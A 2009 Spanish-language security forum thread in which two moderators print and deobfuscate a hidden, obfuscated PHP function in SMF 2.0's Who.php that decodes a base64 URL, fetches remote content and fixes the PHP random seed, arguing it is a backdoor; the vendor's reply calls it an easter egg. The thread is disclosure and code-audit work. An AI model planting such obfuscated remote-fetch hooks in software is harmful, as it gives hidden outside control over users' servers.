elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Backdoor nativo en SMF 2.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: Backdoor nativo en SMF 2.0  (Leído 30,160 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Backdoor nativo en SMF 2.0
« en: 27 Octubre 2009, 08:03 am »

Estabamos revisando el code de SMF 2.0 con sirdarckcat con el propósito de la auditoría hacia SMF:
http://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html

Y pude encontrar un código bien extraño en el archivo Sources/Who.php linea 660 en adelante, ahi se pueden ver una serie de lineas muy encodeadas y ocultas:

Código
  1. function Mascot()
  2. {
  3. global $sourcedir;
  4.  
  5. // Some important quotes.
  6. $O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
  7. 'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
  8. 'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
  9. 'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
  10. 'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
  11. 'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
  12. 'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
  13. );
  14.  
  15. mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
  16. $OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
  17.  
  18. $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
  19. require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  20.  
  21. if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
  22. }

Esto es masomenos lo que puedes ver cuando reemplazas variables y ordenas un poco mas el código:

Código
  1. function Mascot()
  2. {
  3. global $sourcedir;
  4.  
  5. // Some important quotes.
  6. $O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
  7. 'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
  8. 'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
  9. 'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
  10. 'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
  11. 'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
  12. 'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
  13. );
  14.  
  15. mt_srand(1104307200);
  16.    $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo = array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));
  17.    /* Array con una dimensión de 6 variables numéricas
  18.     Array ( [0] => 6 [1] => 2 [2] => 9 [3] => 6 [4] => 10 [5] => 9 )
  19.    
  20.     For con 6 loops, uno para cada variable del array  */
  21.    for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){
  22.     $O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12));
  23.     //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'}) - mt_rand(0,12));<br />';
  24.     $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]);
  25.     //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']) - $'.$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']);<br /><br />';
  26.    }
  27.    /* Desarrollo:
  28.     $Array[$0] = chr(ord($ywky~{{$0}) - mt_rand(0,12));
  29.     $swky~{[$0] = chr(ord($swky~{[$0]) - $Array[$0]);
  30.  
  31.     $Array[$1] = chr(ord($swky~{{$1}) - mt_rand(0,12));
  32.     $suky~{[$1] = chr(ord($suky~{[$1]) - $Array[$1]);
  33.  
  34.     $Array[$2] = chr(ord($suky~{{$2}) - mt_rand(0,12));
  35.     $suby~{[$2] = chr(ord($suby~{[$2]) - $Array[$2]);
  36.  
  37.     $Array[$3] = chr(ord($suby~{{$3}) - mt_rand(0,12));
  38.     $subs~{[$3] = chr(ord($subs~{[$3]) - $Array[$3]);
  39.  
  40.     $Array[$4] = chr(ord($subs~{{$4}) - mt_rand(0,12));
  41.     $subst{[$4] = chr(ord($subst{[$4]) - $Array[$4]);
  42.  
  43.     $Array[$5] = chr(ord($subst{{$5}) - mt_rand(0,12));
  44.     $substr[$5] = chr(ord($substr[$5]) - $Array[$5]);
  45.    
  46.     Resultado:
  47.     // Array con una dimensión de 6 valores alfanuméricos
  48.     // Array ( [0] => t [1] => t [2] => ` [3] => x [4] => y [5] => o )
  49.     // Resuelto a partir del primer array con citas de personajes */
  50.    $OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O = array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
  51.    /* Eval para despistar mas un retorno de valor igual a '32' para completar la ecuación aritmética
  52.     Array con una dimensión de 6 valores alfanuméricos
  53.     Array ( [0] => 37 [1] => 3 [2] => 22 [3] => 33 [4] => 35 [5] => 73 ) */
  54. $OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644';
  55.    /* Constante numérica al igual que el valor '1' en el eval anterior */
  56.    foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q){
  57.     $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
  58.     //echo '$'.$Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = $'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'($'.$q.',$'.$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'],$'.$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'})<br />';
  59.    }
  60.    /*
  61.      Procesa la leyenda de arriba sustrayendo carácteres posicionados en cada variable de la
  62.      dimensión del array anterior:
  63.      $Array[$0] = $substr($Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton,$Array[$0],$335644{$0})
  64.      $Array[$1] = $substr($My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff,$Array[$1],$335644{$1})
  65.      $Array[$2] = $substr($Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken,$Array[$2],$335644{$2})
  66.      $Array[$3] = $substr($Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won't once it's decoded. ~Laurie Anderson,$Array[$3],$335644{$3})
  67.      $Array[$4] = $substr($I don't see the logic of rejecting data just because they seem incredible. ~Fred Hoyle,$Array[$4],$335644{$4})
  68.      $Array[$5] = $substr($Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle,$Array[$5],$335644{$5})
  69.      
  70.      Resultado:
  71.      un array con una dimensión de 6 variables:
  72.      Array ( [0] => pow [1] => web [2] => fetch [3] => decode [4] => data [5] => base )
  73.     */
  74.    // print_r($Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO);
  75. $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3];
  76.    /* Devuelve el string 'base64_decode' desde dos strings diferentes concatenado por un '_' que es la palabra 'base64' y 'decode' */
  77.    $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
  78.    /* Devuelve el string 'fetch_web_data' */
  79. require_once($sourcedir . '/Subs-Package.php');
  80.    /* Incluye el subs con la función fetch_web_data para poder obtener el contenido externo */
  81.    $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  82.    //echo '$OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'($'.$O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O.'($'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'(\'aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==\')));';
  83.    /* Resolución:
  84.     $str = $base64_decode($fetch_web_data($base64_decode('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  85.     Hace la petición a http://www.simplemachines.org/smf/latest-laugh.js y obtiene su contenido */
  86. if (1/M_PI_2 == M_2_PI){
  87.    /* Verificación redundante:
  88.     1/1.5707963267949 == 0.63661977236758
  89.    
  90.     Termina el script mostrando únicamente el contenido obtenido sin procesar el resto del script del foro
  91.     */
  92.     die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
  93.    }
  94. }

La sorpresa no eran las variables raras sino el contenido.

Me da un poco de gracia tanto código y ofusación de código que intentaron hacer porque no se necesitan mas de dos dedos de frente para saber que el string "aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==" es base64 y al descifrarlo está el enlace hacia el control de simplemachines:
http://www.simplemachines.org/smf/latest-laugh.js
y nuevamente si lo procesamos en base64 encontramos el string completo que se nos ve en nuestra web visualizandolo desde index.php?action=mascot
No se necesita ser matematico ni si quiera entender el código para saber que hay, de hecho si le pones un echo a cada variable encuentras el código igual  :rolleyes:

En fin,  si desciframos eso en base64 podemos ver esto:

Código
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml"><head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  4. <title>My name is Earl</title>
  5. </head>
  6. <h1>Watch out!  He's a killer!</h1>
  7. <img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
  8. </body>
  9. </html>



 :xD que cosas jajaja

La voz de la experiencia: http://www.simplemachines.org/community/index.php?topic=198912.msg1265079#msg1265079
« Última modificación: 28 Octubre 2009, 06:34 am por WHK » En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #1 en: 28 Octubre 2009, 05:57 am »

Bueno, ahora quiero explicar porque esto es un backdoor, y no solo un huevo de pascua.

1.- Codigo Ofuscado.
La unica manera de escapar herramientas de auditoria de codigo automatico, busqueda de funciones (grep), etcetera, es ofuscando el codigo. Una herramienta facilmente hubiera podido relacionar la funcion fetch_web_data o base64_decode con la funcion Mascot.. pero con el codigo ofuscado de esta forma, definitivamente no.

2.- Vulnerabilidad forzada
Es dificil diferenciar una vulnerabilidad con un backdoor. Un backdoor debe ser dejado aproposito, y permitir a los autores ejercer control sobre el software que de otra forma no tendrian. En este caso la funcionalidad de la funcion Mascot hubiera podido ser mas rapida, mas segura, y mas clara se se hiciera como funciona el resto de las secciones que generan contenido estatico. Sinembargo esta fue hecha convenientemente para que estuviera siempre al control de SMF.

3.- Denegacion plausible
En caso de ser descubierto, se debe tener una posible explicacion. En este caso, el backdoor tiene una funcion de "easter egg", el cual en si les da la capacidad de incluso justificar la ofuscacion del mismo.

4.- No es configurable
No es una opcion que se puede deshabilitar (vease, actualizaciones automaticas de windows, etc..) es simplemente un codigo que no puede ser deshabilitado por SMF a menos que borres el codigo del backdoor.

Ahora, explicare lo que se puede hacer con este backdoor (todo es en la misma funcion, Mascot() en Who.php linea 661).

1.- Permite a los atacantes setear el seed del MT PRNG (generador de numeros aleatorios de PHP) para el servidor (no solo la pagina web, sino todo el servidor, y si es un hosting compartido, a todos los vhosts) a un numero explicito (Linea 675 de Source/Who.php).
Código:
mt_srand(1104307200);

Esto podria permitir a SMF mejorar la posibilidad de adivinar los links de "recordatorio de contraseñas" (como fue notado por kuza55), aunque afortunadamente el sistema usa la funcion del generador de numeros aleatorios de la base de datos. Asi como evadir la validacion de correo electronico.

Si se desea leer mas al respecto sobre este ataque: http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/

2.- Permite a los atacantes usar tu servidor como web proxy y hacer peticiones en tu nombre. La url de control en el dominio de simplemachines es:
http://www.simplemachines.org/smf/latest-laugh.js
Esta esta codificada en base64 como:
aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==
en la linea 679 de Sources/Who.php

Esto habilita dos ataques:

1.- Permite a SMF colocar (y cambiar cada que quieran) contenido arbitrario en tu servidor (codigo HTML, ‭‬javascript, Flash, Malware, Java, etcetera).
Un ejemplo importante es la policy file que flash requiere para permitir hacer conexiones al servidor. Asi como tambien subir directamente un archivo flash, o java lo que permitiria a los atacantes abrir sockets de tus clientes a tu servidor, y cualquier cosa que quieran.

2.- Los atacantes pueden hacer una redireccion HTTP a cualquier url HTTP, HTTPS, FTP, y FTPS y obtener su contenido.
Asi, aun si tienes un sistema de "whitelist" a ciertas direcciones IPs para acceder a ciertos recursos (Intranet, Backups de bases de datos, PHPMYADMIN, etc..), los atacantes tendran el poder de hacer peticiones y recuperar parte del contenido.

Este backdoor no solo habilita el acceso de SMF a escondidas, sino que tambien evade protecciones que tu servidor podria tener. Es el caso especial de la directiva allow_url_fopen, la cual se deshabilita normalmente para evitar peticiones HTTP externas al servidor (por seguridad), pero aun asi SMF lograra hacer este ataque usando una tecnica conocida para evadirla (normalmente usada por atacantes para evadir protecciones al hackear un servidor) (Linea 2715 de Sources/Subs-Package.php).
Código:
// Get the contents of a URL, irrespective of allow_url_fopen.
function fetch_web_data($url, $post_data = '', $keep_alive = false, $redirection_level = 0)

Por lo que aun si intentas proteger tu servidor, no lo vas a poder hacer.

Por estos tres puntos yo considero que es un backdoor dejado aproposito, de bastante peligrosidad, y que pone en peligro la confianza que no solo muchas comindades alrededor del mundo han puesto en SMF, sino tambien de sitios gubernamentales de varios paises, y de todas las personas que son "charter members" y que pagan por tener acceso a la version mas reciente de SMF.

Al descubrir este backdoor, nos pusimos en contacto con SMF, y pedimos una explicacion. A la cual se nos dio esta respuesta:

Citar
Hi Eduardo,

Thank you for your concerns.

The code in question is, indeed, used to display an easter egg. In fact, it
only displays an inside joke on the user's screen if said user goes to
?action=mascot, which is not directly linked to in SMF itself.

While we do not think this is a security issue per se, we do agree having
obfuscated code in general is bad practice. Therefore, the mascot easter egg
has been removed from our SVN trunk.

On a more general note, we've already planned to evaluate all of our easter
prior the release of 2.0 gold, so some more might be removed.

Regards,
Aaron van Geffen,
SMF Developer

Diciendo que se borro esta funcion del SVN (privado ya que SMF no es software libre, pero en la web siguen mostrando el codigo con el backdoor), y se nos dijo que solo era un easter egg (como ya sabiamos) y que probablemente iba a ser borrado antes de tener la version "Gold".

No se si SMF hara una explicacion publica, pero en cualquier caso esta mi opinion, y ahora esta en ustedes decidir si fue un error involuntario o no..

Saludos!!
« Última modificación: 28 Octubre 2009, 06:05 am por sirdarckcat » En línea

YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #2 en: 28 Octubre 2009, 06:59 am »

Que interesante lo que ponen los de SMF en el codigo :P Puede que exista mas de uno :P

http://www.simplemachines.org/community/index.php?action=mascot :xD
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Krackwar ™

Desconectado Desconectado

Mensajes: 100



Ver Perfil
Re: Backdoor nativo en SMF 2.0
« Respuesta #3 en: 28 Octubre 2009, 07:07 am »

Yo en lo personal no confío mas en SMF, al parecer phpbb3 es mejor sistema y puede ser una opcion para migrar
En línea

WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código
  1. mov ecx,1000
  2. Etiqueta:
  3. invoke printf,"No Copiare en clases"
  4. loop Etiq
6666

Desconectado Desconectado

Mensajes: 146


Wikileaks.org


Ver Perfil
Re: Backdoor nativo en SMF 2.0
« Respuesta #4 en: 28 Octubre 2009, 07:10 am »

de verdad muy interesante, me gusto lo que han descubierto .. y estoy totalmente de acuerdo .. se pueden hacer muchas cosas desde http://www.simplemachines.org/smf/latest-laugh.js .. más alla que sea un huevo de pascua es un problema de seguridad!.

quizas no alla sido con malas intenciones de parte de SMF (lo dudo xD) pero si es lo contrario, valla manera de ocultarlo, bastante original.
« Última modificación: 28 Octubre 2009, 08:12 am por 6666 » En línea

Littlehorse
All the world's a stage
Colaborador
***
Desconectado Desconectado

Mensajes: 2.714


Nie Dam Sie


Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #5 en: 28 Octubre 2009, 07:13 am »

Pero no pensas que al hacer esto estarian subestimando la capacidad de muchos de los usuarios? es sabido que SMF suele ser cuasi-inhackeable para los script-kiddies, sin embargo no tanto por su seguridad inherente si no por el trabajo que realizan dia a dia la gente como ustedes, como nosostros etc. No seria subestimar demasiado a toda esa gente? no seria arriesgar demasiado esa confianza? no se. Es bastante raro que esto sea a proposito, pero en fin, nunca se sabe y ha habido casos peores.

De cualquier manera. Excelentisimo trabajo como siempre. Veo que el nuevo proyecto dio sus frutos rapidamente.

Un saludo
En línea

An expert is a man who has made all the mistakes which can be made, in a very narrow field.
lotux

Desconectado Desconectado

Mensajes: 79



Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #6 en: 28 Octubre 2009, 15:12 pm »

nice work!
En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #7 en: 28 Octubre 2009, 15:30 pm »

Legendario ;-)

Habria que contactar con los desarrolladores, a ver que dicen de esto :D
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Backdoor nativo en SMF 2.0
« Respuesta #8 en: 28 Octubre 2009, 15:44 pm »

Ya se hizo .. que crees que hay después de esto? XD

Citar
Al descubrir este backdoor, nos pusimos en contacto con SMF, y pedimos una explicacion. A la cual se nos dio esta respuesta:

El problema de esto es que aquí se ha esperado hasta tener una versión final y depurada de SMF 2.0, en muchos foros ya esta instalada la RC  :rolleyes:

Saludos
« Última modificación: 28 Octubre 2009, 15:46 pm por Novlucker » En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Backdoor nativo en SMF 2.0
« Respuesta #9 en: 28 Octubre 2009, 16:19 pm »

Tengo que aprender a leer mas pacientemente :laugh:
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Interceptar con Detours el Opengl nativo por TEB
Programación C/C++
85 3 3,651 Último mensaje 11 Abril 2013, 00:23 am
por Luchoz95
Que es android nativo?
Programación General
LinkL 2 8,169 Último mensaje 19 Diciembre 2015, 10:38 am
por WhiteDeMoN
activar usb nativo del mcu sam3s2c
Programación C/C++
Camilo Silva 0 1,592 Último mensaje 4 Abril 2017, 16:53 pm
por Camilo Silva
Ocultar ip en backdoor
Análisis y Diseño de Malware
retr02332 7 7,411 Último mensaje 6 Septiembre 2020, 13:02 pm
por @XSStringManolo
Prueba leer la dll nativo con interfaz C++ nativo
Programación C/C++
Meta 9 3,269 Último mensaje 7 Julio 2020, 15:02 pm
por Meta
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines